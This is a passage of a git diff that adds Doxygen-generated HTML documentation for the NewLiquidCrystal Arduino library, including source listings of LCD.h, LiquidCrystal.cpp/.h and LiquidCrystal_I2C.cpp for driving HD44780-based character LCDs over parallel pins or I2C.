402 #ifdef __AVR__
+
403 
+
423  void createChar(uint8_t location, const char *charmap);
+
424 #endif // __AVR__
+
425 
+
435  void setCursor(uint8_t col, uint8_t row);
+
436 
+
444  void backlight ( void );
+
445 
+
453  void noBacklight ( void );
+
454 
+
462  void on ( void );
+
463 
+
471  void off ( void );
+
472 
+
473  //
+
474  // virtual class methods
+
475  // --------------------------------------------------------------------------
+
486  virtual void setBacklightPin ( uint8_t value, t_backlighPol pol ) { };
+
487 
+
505  virtual void setBacklight ( uint8_t value ) { };
+
506 
+
518 #if (ARDUINO < 100)
+
519  virtual void write(uint8_t value);
+
520 #else
+
521  virtual size_t write(uint8_t value);
+
522 #endif
+
523 
+
524 #if (ARDUINO < 100)
+
525  using Print::write;
+
526 #else
+
527  using Print::write;
+
528 #endif
+
529 
+
530 protected:
+
531  // Internal LCD variables to control the LCD shared between all derived
+
532  // classes.
+
533  uint8_t _displayfunction; // LCD_5x10DOTS or LCD_5x8DOTS, LCD_4BITMODE or
+
534  // LCD_8BITMODE, LCD_1LINE or LCD_2LINE
+
535  uint8_t _displaycontrol; // LCD base control command LCD on/off, blink, cursor
+
536  // all commands are "ored" to its contents.
+
537  uint8_t _displaymode; // Text entry mode to the LCD
+
538  uint8_t _numlines; // Number of lines of the LCD, initialized with begin()
+
539  uint8_t _cols; // Number of columns in the LCD
+
540  t_backlighPol _polarity; // Backlight polarity
+
541 
+
542 private:
+
555  void command(uint8_t value);
+
556 
+
570 #if (ARDUINO < 100)
+
571  virtual void send(uint8_t value, uint8_t mode) { };
+
572 #else
+
573  virtual void send(uint8_t value, uint8_t mode) = 0;
+
574 #endif
+
575 
+
576 };
+
577 
+
578 #endif
+
LCD
Definition: LCD.h:187
+
LCD::createChar
void createChar(uint8_t location, uint8_t charmap[])
Definition: LCD.cpp:294
+
LCD::autoscroll
void autoscroll()
Definition: LCD.cpp:280
+
LCD::leftToRight
void leftToRight()
Definition: LCD.cpp:253
+
LCD::backlight
void backlight(void)
Definition: LCD.cpp:326
+
LCD::clear
void clear()
Definition: LCD.cpp:168
+
LCD::on
void on(void)
Definition: LCD.cpp:340
+
LCD::off
void off(void)
Definition: LCD.cpp:348
+
LCD::noBlink
void noBlink()
Definition: LCD.cpp:229
+
LCD::scrollDisplayRight
void scrollDisplayRight()
Definition: LCD.cpp:247
+
LCD::display
void display()
Definition: LCD.cpp:210
+
LCD::setCursor
void setCursor(uint8_t col, uint8_t row)
Definition: LCD.cpp:180
+
LCD::rightToLeft
void rightToLeft()
Definition: LCD.cpp:260
+
LCD::noAutoscroll
void noAutoscroll()
Definition: LCD.cpp:287
+
LCD::home
void home()
Definition: LCD.cpp:174
+
LCD::blink
void blink()
Definition: LCD.cpp:235
+
LCD::setBacklight
virtual void setBacklight(uint8_t value)
Definition: LCD.h:505
+
LCD::moveCursorRight
void moveCursorRight()
Definition: LCD.cpp:267
+
LCD::LCD
LCD()
Definition: LCD.cpp:52
+
LCD::scrollDisplayLeft
void scrollDisplayLeft()
Definition: LCD.cpp:242
+
LCD::begin
virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
Definition: LCD.cpp:79
+
LCD::noDisplay
void noDisplay()
Definition: LCD.cpp:204
+
LCD::noBacklight
void noBacklight(void)
Definition: LCD.cpp:333
+
LCD::noCursor
void noCursor()
Definition: LCD.cpp:217
+
LCD::setBacklightPin
virtual void setBacklightPin(uint8_t value, t_backlighPol pol)
Definition: LCD.h:486
+
LCD::moveCursorLeft
void moveCursorLeft()
Definition: LCD.cpp:273
+
LCD::write
virtual void write(uint8_t value)
Definition: LCD.cpp:362
+
LCD::cursor
void cursor()
Definition: LCD.cpp:222
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp.html new file mode 100644 index 0000000..a1244e6 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp.html @@ -0,0 +1,173 @@ + + + + +LCD Library: LiquidCrystal.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+Defines
+
+
LiquidCrystal.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LiquidCrystal.h"
+
+

Go to the source code of this file.

+ + + + + +

+Defines

#define LCD_4BIT   1
#define LCD_8BIT   0
#define LCD_NOBACKLIGHT   0xFF
+

Define Documentation

+ +
+
+ + + + +
#define LCD_4BIT   1
+
+
+ +

Definition at line 45 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_8BIT   0
+
+
+ +

Definition at line 46 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_NOBACKLIGHT   0xFF
+
+
+ +

Definition at line 42 of file LiquidCrystal.cpp.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp_source.html new file mode 100644 index 0000000..2103f80 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp_source.html @@ -0,0 +1,410 @@ + + + + +LCD Library: LiquidCrystal.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal.cpp
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using the parallel port of
+00021 // the LCD (4 bit and 8 bit).
+00022 //
+00023 // The functionality provided by this class and its base class is identical
+00024 // to the original functionality of the Arduino LiquidCrystal library.
+00025 //
+00026 //
+00027 // @author F. Malpartida - fmalpartida@gmail.com
+00028 // ---------------------------------------------------------------------------
+00029 #include <stdio.h>
+00030 #include <string.h>
+00031 #include <inttypes.h>
+00032 
+00033 #if (ARDUINO <  100)
+00034 #include <WProgram.h>
+00035 #else
+00036 #include <Arduino.h>
+00037 #endif
+00038 #include "LiquidCrystal.h"
+00039 
+00040 // CONSTANT  definitions
+00041 // ---------------------------------------------------------------------------
+00042 #define LCD_NOBACKLIGHT 0xFF
+00043 
+00044 // LCD driver configuration (4bit or 8bit driver control)
+00045 #define LCD_4BIT                1
+00046 #define LCD_8BIT                0
+00047 
+00048 // STATIC helper functions
+00049 // ---------------------------------------------------------------------------
+00050 
+00051 
+00052 // CONSTRUCTORS
+00053 // ---------------------------------------------------------------------------
+00054 
+00055 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable,
+00056                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00057                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00058 {
+00059    init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00060 }
+00061 
+00062 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00063                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00064                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00065 {
+00066    init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00067 }
+00068 
+00069 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00070                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
+00071 {
+00072    init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00073 }
+00074 
+00075 LiquidCrystal::LiquidCrystal(uint8_t rs,  uint8_t enable,
+00076                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
+00077 {
+00078    init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00079 }
+00080 
+00081 // Contructors with backlight control
+00082 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable,
+00083                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00084                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00085                              uint8_t backlightPin, t_backlighPol pol)
+00086 {
+00087    init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00088    setBacklightPin ( backlightPin, pol );
+00089 }
+00090 
+00091 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00092                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00093                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00094                              uint8_t backlightPin, t_backlighPol pol)
+00095 {
+00096    init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00097    setBacklightPin ( backlightPin, pol );
+00098 }
+00099 
+00100 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00101                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00102                              uint8_t backlightPin, t_backlighPol pol)
+00103 {
+00104    init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00105    setBacklightPin ( backlightPin, pol );
+00106 }
+00107 
+00108 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable,
+00109                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00110                              uint8_t backlightPin, t_backlighPol pol)
+00111 {
+00112    init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00113    setBacklightPin ( backlightPin, pol );
+00114 }
+00115 
+00116 // PUBLIC METHODS
+00117 // ---------------------------------------------------------------------------
+00118 
+00119 /************ low level data pushing commands **********/
+00120 //
+00121 // send
+00122 void LiquidCrystal::send(uint8_t value, uint8_t mode) 
+00123 {
+00124    // Only interested in COMMAND or DATA
+00125    digitalWrite( _rs_pin, ( mode == DATA ) );
+00126    
+00127    // if there is a RW pin indicated, set it low to Write
+00128    // ---------------------------------------------------
+00129    if (_rw_pin != 255) 
+00130    { 
+00131       digitalWrite(_rw_pin, LOW);
+00132    }
+00133    
+00134    if ( mode != FOUR_BITS )
+00135    {   
+00136       if ( (_displayfunction & LCD_8BITMODE ) )
+00137       {
+00138          writeNbits(value, 8); 
+00139       } 
+00140       else 
+00141       {
+00142          writeNbits ( value >> 4, 4 );
+00143          writeNbits ( value, 4 );
+00144       }
+00145    } 
+00146    else 
+00147    {
+00148       writeNbits ( value, 4 );
+00149    }
+00150    waitUsec ( EXEC_TIME ); // wait for the command to execute by the LCD
+00151 }
+00152 
+00153 //
+00154 // setBacklightPin
+00155 void LiquidCrystal::setBacklightPin ( uint8_t pin, t_backlighPol pol )
+00156 {
+00157    pinMode ( pin, OUTPUT );       // Difine the backlight pin as output
+00158    _backlightPin = pin;
+00159    _polarity = pol;
+00160    setBacklight(BACKLIGHT_OFF);   // Set the backlight low by default
+00161 }
+00162 
+00163 //
+00164 // setBackligh
+00165 void LiquidCrystal::setBacklight ( uint8_t value )
+00166 {
+00167    // Check if there is a pin assigned to the backlight
+00168    // ---------------------------------------------------
+00169    if ( _backlightPin != LCD_NOBACKLIGHT )
+00170    {
+00171       // Check if the pin is associated to a timer, i.e. PWM
+00172       // ---------------------------------------------------
+00173       if(digitalPinToTimer(_backlightPin) != NOT_ON_TIMER)
+00174       {
+00175          // Check for control polarity inversion
+00176          // ---------------------------------------------------
+00177          if ( _polarity == POSITIVE )
+00178          {
+00179             analogWrite ( _backlightPin, value );
+00180          }
+00181          else 
+00182          {
+00183             analogWrite ( _backlightPin, 255 - value );
+00184          }
+00185       }
+00186       // Not a PWM pin, set the backlight pin for POSI or NEG
+00187       // polarity
+00188       // --------------------------------------------------------
+00189       else if (((value > 0) && (_polarity == POSITIVE)) ||
+00190                ((value == 0) && (_polarity == NEGATIVE)))
+00191       {
+00192          digitalWrite( _backlightPin, HIGH);
+00193       }
+00194       else
+00195       {
+00196          digitalWrite( _backlightPin, LOW);
+00197       }
+00198    }
+00199 }
+00200 
+00201 // PRIVATE METHODS
+00202 // ---------------------------------------------------------------------------
+00203 
+00204 
+00205 // init
+00206 void LiquidCrystal::init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable,
+00207                          uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00208                          uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00209 {
+00210    uint8_t i;
+00211    
+00212    // Initialize the IO pins
+00213    // -----------------------
+00214    
+00215    _rs_pin = rs;
+00216    _rw_pin = rw;
+00217    _enable_pin = enable;
+00218    
+00219    _data_pins[0] = d0;
+00220    _data_pins[1] = d1;
+00221    _data_pins[2] = d2;
+00222    _data_pins[3] = d3; 
+00223    _data_pins[4] = d4;
+00224    _data_pins[5] = d5;
+00225    _data_pins[6] = d6;
+00226    _data_pins[7] = d7;
+00227    
+00228    // Initialize the IO port direction to OUTPUT
+00229    // ------------------------------------------
+00230    
+00231    for ( i = 0; i < 4; i++ )
+00232    {
+00233       pinMode ( _data_pins[i], OUTPUT );
+00234    }
+00235    
+00236    // Initialize the rest of the ports if it is an 8bit controlled LCD
+00237    // ----------------------------------------------------------------
+00238    
+00239    if ( !fourbitmode )
+00240    {
+00241       for ( i = 4; i < 8; i++ )
+00242       {
+00243          pinMode ( _data_pins[i], OUTPUT );
+00244       }
+00245    }
+00246    pinMode(_rs_pin, OUTPUT);
+00247    
+00248    // we can save 1 pin by not using RW. Indicate by passing 255 instead of pin#
+00249    if (_rw_pin != 255) 
+00250    { 
+00251       pinMode(_rw_pin, OUTPUT);
+00252    }
+00253    
+00254    pinMode(_enable_pin, OUTPUT);
+00255    
+00256    // Initialise displaymode functions to defaults: LCD_1LINE and LCD_5x8DOTS
+00257    // -------------------------------------------------------------------------
+00258    if (fourbitmode)
+00259       _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00260    else 
+00261       _displayfunction = LCD_8BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00262    
+00263    // Now we pull both RS and R/W low to begin commands
+00264    digitalWrite(_rs_pin, LOW);
+00265    digitalWrite(_enable_pin, LOW);
+00266    
+00267    if (_rw_pin != 255) 
+00268    { 
+00269       digitalWrite(_rw_pin, LOW);
+00270    }
+00271    
+00272    // Initialise the backlight pin no nothing
+00273    _backlightPin = LCD_NOBACKLIGHT;
+00274    _polarity = POSITIVE;
+00275 }
+00276 
+00277 //
+00278 // pulseEnable
+00279 void LiquidCrystal::pulseEnable(void) 
+00280 {
+00281    // There is no need for the delays, since the digitalWrite operation
+00282    // takes longer.
+00283    digitalWrite(_enable_pin, HIGH);   
+00284    waitUsec(1);          // enable pulse must be > 450ns   
+00285    digitalWrite(_enable_pin, LOW);
+00286 }
+00287 
+00288 //
+00289 // write4bits
+00290 void LiquidCrystal::writeNbits(uint8_t value, uint8_t numBits) 
+00291 {
+00292    for (uint8_t i = 0; i < numBits; i++) 
+00293    {
+00294       digitalWrite(_data_pins[i], (value >> i) & 0x01);
+00295    }
+00296    pulseEnable();
+00297 }
+00298 
+00299 
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h.html new file mode 100644 index 0000000..b5a4389 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h.html @@ -0,0 +1,144 @@ + + + + +LCD Library: LiquidCrystal.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+Classes | +Defines
+
+
LiquidCrystal.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + +

+Classes

class  LiquidCrystal

+Defines

#define EXEC_TIME   37
+

Define Documentation

+ +
+
+ + + + +
#define EXEC_TIME   37
+
+
+

Command execution time on the LCD. This defines how long a command takes to execute by the LCD. The time is expressed in micro-seconds.

+ +

Definition at line 42 of file LiquidCrystal.h.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h_source.html new file mode 100644 index 0000000..ef3cd8c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h_source.html @@ -0,0 +1,195 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LiquidCrystal.h
+
13 // This file implements a basic liquid crystal library that comes as standard
+
14 // in the Arduino SDK.
+
15 //
+
16 // @brief
+
17 // This is a basic implementation of the LiquidCrystal library of the
+
18 // Arduino SDK. The original library has been reworked in such a way that
+
19 // this class implements the all methods to command an LCD based
+
20 // on the Hitachi HD44780 and compatible chipsets using the parallel port of
+
21 // the LCD (4 bit and 8 bit).
+
22 //
+
23 //
+
24 //
+
25 // @author F. Malpartida - fmalpartida@gmail.com
+
26 // ---------------------------------------------------------------------------
+
27 #ifndef LiquidCrystal_4bit_h
+
28 #define LiquidCrystal_4bit_h
+
29 
+
30 #include <inttypes.h>
+
31 
+
32 #include "LCD.h"
+
33 #include "FastIO.h"
+
34 
+
35 
+
42 #define EXEC_TIME 37
+
43 
+
44 class LiquidCrystal : public LCD
+
45 {
+
46 public:
+
53  LiquidCrystal(uint8_t rs, uint8_t enable,
+
54  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
55  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+
56  LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+
57  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
58  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+
59 
+
60  // Constructors with backlight control
+
61  LiquidCrystal(uint8_t rs, uint8_t enable,
+
62  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
63  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+
64  uint8_t backlightPin, t_backlighPol pol);
+
65  LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+
66  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
67  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+
68  uint8_t backlightPin, t_backlighPol pol);
+
75  LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+
76  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3);
+
77  LiquidCrystal(uint8_t rs, uint8_t enable,
+
78  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3);
+
79 
+
80  // Constructors with backlight control
+
81  LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+
82  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
83  uint8_t backlightPin, t_backlighPol pol);
+
84  LiquidCrystal(uint8_t rs, uint8_t enable,
+
85  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
86  uint8_t backlightPin, t_backlighPol pol);
+
99  virtual void send(uint8_t value, uint8_t mode);
+
100 
+
109  void setBacklightPin ( uint8_t pin, t_backlighPol pol );
+
110 
+
125  void setBacklight ( uint8_t value );
+
126 
+
127 private:
+
128 
+
134  void init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable,
+
135  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
136  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+
137 
+
144  void writeNbits(uint8_t value, uint8_t numBits);
+
145 
+
152  void pulseEnable();
+
153 
+
154  uint8_t _rs_pin; // LOW: command. HIGH: character.
+
155  uint8_t _rw_pin; // LOW: write to LCD. HIGH: read from LCD.
+
156  uint8_t _enable_pin; // activated by a HIGH pulse.
+
157  uint8_t _data_pins[8]; // Data pins.
+
158  uint8_t _backlightPin; // Pin associated to control the LCD backlight
+
159 };
+
160 
+
161 #endif
+
LCD
Definition: LCD.h:187
+
LiquidCrystal::LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
Definition: LiquidCrystal.cpp:55
+
LiquidCrystal
Definition: LiquidCrystal.h:44
+
LiquidCrystal::setBacklight
void setBacklight(uint8_t value)
Definition: LiquidCrystal.cpp:165
+
LiquidCrystal::setBacklightPin
void setBacklightPin(uint8_t pin, t_backlighPol pol)
Definition: LiquidCrystal.cpp:155
+
LiquidCrystal::send
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal.cpp:122
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp.html new file mode 100644 index 0000000..1e2f1b7 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp.html @@ -0,0 +1,274 @@ + + + + +LCD Library: LiquidCrystal_I2C.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+Defines
+
+
LiquidCrystal_I2C.cpp File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include "I2CIO.h"
+#include "LiquidCrystal_I2C.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + +

+Defines

#define D4   0
#define D5   1
#define D6   2
#define D7   3
#define EN   6
#define LCD_BACKLIGHT   0xFF
#define LCD_NOBACKLIGHT   0x00
#define RS   4
#define RW   5
+

Define Documentation

+ +
+
+ + + + +
#define D4   0
+
+
+

LCD dataline allocation this library only supports 4 bit LCD control mode. D4, D5, D6, D7 LCD data lines pin mapping of the extender module

+ +

Definition at line 88 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define D5   1
+
+
+ +

Definition at line 89 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define D6   2
+
+
+ +

Definition at line 90 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define D7   3
+
+
+ +

Definition at line 91 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define EN   6
+
+
+

Enable bit of the LCD Defines the IO of the expander connected to the LCD Enable

+ +

Definition at line 66 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_BACKLIGHT   0xFF
+
+
+

LCD_BACKLIGHT BACKLIGHT MASK used when backlight is on

+ +

Definition at line 55 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_NOBACKLIGHT   0x00
+
+
+

LCD_NOBACKLIGHT NO BACKLIGHT MASK

+ +

Definition at line 48 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define RS   4
+
+
+

Register bit of the LCD Defines the IO of the expander connected to the LCD Register select pin

+ +

Definition at line 80 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define RW   5
+
+
+

Read/Write bit of the LCD Defines the IO of the expander connected to the LCD Rw pin

+ +

Definition at line 73 of file LiquidCrystal_I2C.cpp.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp_source.html new file mode 100644 index 0000000..a4274fc --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp_source.html @@ -0,0 +1,371 @@ + + + + +LCD Library: LiquidCrystal_I2C.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_I2C.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_I2C.c
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using an I2C IO extension board.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+00021 // backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC.
+00022 //
+00023 // The functionality provided by this class and its base class is identical
+00024 // to the original functionality of the Arduino LiquidCrystal library.
+00025 //
+00026 //
+00027 //
+00028 // @author F. Malpartida - fmalpartida@gmail.com
+00029 // ---------------------------------------------------------------------------
+00030 #if (ARDUINO <  100)
+00031 #include <WProgram.h>
+00032 #else
+00033 #include <Arduino.h>
+00034 #endif
+00035 #include <inttypes.h>
+00036 #include "I2CIO.h"
+00037 #include "LiquidCrystal_I2C.h"
+00038 
+00039 // CONSTANT  definitions
+00040 // ---------------------------------------------------------------------------
+00041 
+00042 // flags for backlight control
+00048 #define LCD_NOBACKLIGHT 0x00
+00049 
+00055 #define LCD_BACKLIGHT   0xFF
+00056 
+00057 
+00058 // Default library configuration parameters used by class constructor with
+00059 // only the I2C address field.
+00060 // ---------------------------------------------------------------------------
+00066 #define EN 6  // Enable bit
+00067 
+00073 #define RW 5  // Read/Write bit
+00074 
+00080 #define RS 4  // Register select bit
+00081 
+00088 #define D4 0
+00089 #define D5 1
+00090 #define D6 2
+00091 #define D7 3
+00092 
+00093 
+00094 // CONSTRUCTORS
+00095 // ---------------------------------------------------------------------------
+00096 LiquidCrystal_I2C::LiquidCrystal_I2C( uint8_t lcd_Addr )
+00097 {
+00098    config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7);
+00099 }
+00100 
+00101 
+00102 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t backlighPin, 
+00103                                      t_backlighPol pol = POSITIVE)
+00104 {
+00105    config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7);
+00106    setBacklightPin(backlighPin, pol);
+00107 }
+00108 
+00109 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00110                                      uint8_t Rs)
+00111 {
+00112    config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7);
+00113 }
+00114 
+00115 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00116                                      uint8_t Rs, uint8_t backlighPin, 
+00117                                      t_backlighPol pol = POSITIVE)
+00118 {
+00119    config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7);
+00120    setBacklightPin(backlighPin, pol);
+00121 }
+00122 
+00123 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00124                                      uint8_t Rs, uint8_t d4, uint8_t d5,
+00125                                      uint8_t d6, uint8_t d7 )
+00126 {
+00127    config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7);
+00128 }
+00129 
+00130 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
